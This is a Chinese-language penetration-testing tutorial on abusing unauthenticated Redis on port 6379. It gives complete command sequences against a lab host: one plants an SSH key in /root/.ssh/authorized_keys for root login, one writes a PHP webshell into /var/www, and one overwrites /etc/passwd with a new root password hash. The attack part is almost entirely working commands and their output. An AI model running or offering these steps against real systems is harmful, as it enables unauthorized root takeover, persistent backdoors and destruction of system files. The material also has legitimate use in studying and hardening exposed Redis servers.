Nmap 默认策略竟然没有6379端口!
image.png直接扫描6379端口,若出现服务器信息,则证明存在非授权访问:
image.png通过脚本扫描,也并没有多出什么信息:
image.png通过软件链接,可以看见数据库内容与执行命令:
image.png若以root权限启动,可切换至root目录:
config set dir /root/.ssh/
image.png
利用方法1--向.ssh目录中写入客户端公钥:
ssh-keygen –t rsa //产生本地公私钥
image.png
/root/.ssh/目录下会生产id_rsa id_rsa.pub 两个文件,将pub公钥写入目标服务器/root/.ssh/目录:
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt //将公钥写入foo.txt
root@kali:~/.ssh# cat foo.txt | redis-cli -h 192.168.111.41 -x set temp //将foo.txt内容写入redis,若成功返回OK
root@kali:~/.ssh# redis-cli -h 192.168.111.41 //连接redis
192.168.111.41:6379> config set dir /root/.ssh/ //切换到.ssh目录,若成功返回OK
192.168.111.41:6379> config set dbfilename "authorized_keys" //设置文件名称,若成功返回OK
192.168.111.41:6379> save //保存,若成功返回OK
root@kali:~/.ssh# ssh -i id_rsa root@192.168.111.41 /用私钥登陆服务器
成功登陆:
image.png利用方法2--向Web目录写入Webshell:
思路差不多,关键是要猜到Web目录。
root@kali:# cat php.txt | redis-cli -h 192.168.111.41 -x set php //将一句话木马写入redis,若成功返回OK
root@kali:# redis-cli -h 192.168.111.41 //连接redis
192.168.111.41:6379> config set dir /var/www/ //切换到Web目录,若成功返回OK
192.168.111.41:6379> config set dbfilename "test.php" //设置文件名称,若成功返回OK
192.168.111.41:6379> save //保存,若成功返回OK
已成功写入:
image.png image.pngFreebuf有一个写/etc/passwd的思路:
亲测有效,但想写入/etc/passwd依然需要Redis拥有root权限,实际上与写入公钥方法区别不大。
root@kali:# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")' //生成密文
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
root@kali:~# redis-cli -h 192.168.111.41
192.168.111.41:6379> config set dir /etc/
192.168.111.41:6379> config set dbfilename passwd
192.168.111.41:6379> SET abcd"\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n" NX //写入
192.168.111.41:6379> save //保存
网友评论